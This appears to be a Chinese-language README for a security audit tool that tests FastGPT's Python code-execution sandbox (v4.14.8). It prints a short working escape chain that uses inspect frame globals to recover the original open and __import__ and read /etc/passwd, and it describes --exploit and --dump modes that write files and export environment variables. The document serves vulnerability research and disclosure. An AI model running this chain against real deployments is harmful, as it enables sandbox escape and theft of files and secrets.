FastGPT Python沙箱逃逸链审计工具(与CVE-2026-32128相关,v4.14.8检查链)
FastGPT Python 沙箱逃逸链审计工具。
FastGPT 工作流的"代码运行"节点把用户 Python 代码交给独立沙箱执行。v4.14.8 的沙箱防护是纯 Python 层(模块黑名单 + AST 检查 + open 守卫 + import 守卫),本工具检测并验证这些防护的绕过链:
import inspect # inspect 不在 _DANGEROUS_STDLIB 黑名单
g = inspect.currentframe().f_back.f_globals # AST 检查不拦单下划线帧属性
f = g['_original_open'](https://github.com/qianlijaingshan/fastgpt-sandbox-audit/blob/main/%27/etc/passwd%27) # 模块全局暴露原始 open 引用
imp = g['_original_import'] # 模块全局暴露原始 __import__ 引用
| 版本 | 架构 | 状态 |
|---|---|---|
| v4.14.7 | NestJS + Fastify + seccomp | CVE-2026-32128(fcntl 重映射 stdout) |
| v4.14.8 | Bun + Hono + worker.py | 本文逃逸链,完整逃逸(容器内任意文件 + 网络横向) |
| main | Go native chroot + seccomp | Python 层同样被绕过,chroot 兜底限制在容器内 |
纯标准库,Python 3.8+。
# 静态检测 worker.py 防护配置(不执行 payload)
python3 fastgpt-sandbox-audit.py --check
# 对真实 worker.py 跑完整逃逸链(读 /etc/passwd + 写文件)
python3 fastgpt-sandbox-audit.py --exploit
# 导出环境变量(前 20 个 key)
python3 fastgpt-sandbox-audit.py --dump
# 指定 worker.py 路径
python3 fastgpt-sandbox-audit.py --worker /path/to/worker.py --exploit
--exploit 需要一个真实的 worker.py(FastGPT v4.14.8 沙箱的 Python worker 进程),默认从当前目录读取 ./worker.py,通过其自身的 stdin JSON 协议({"type":"init"} → {"type":"task","code":...})提交 payload。
--check 模式输出:
=== fastgpt-sandbox-audit: 防护配置检查 ===
[风险] inspect 不在 _DANGEROUS_STDLIB 黑名单 -> 可 import
[风险] AST 检查未拦截 f_globals 属性
[风险] 模块全局暴露 _original_open -> 可被 f_globals 窃取
[风险] 模块全局暴露 _original_import -> 可被 f_globals 窃取
[提示] worker.py 无 seccomp (4.14.8+ 纯 Python 防护)
本工具仅用于安全研究和授权范围内的安全测试。未经授权对他人系统进行测试可能违反法律法规,请自行承担相关责任。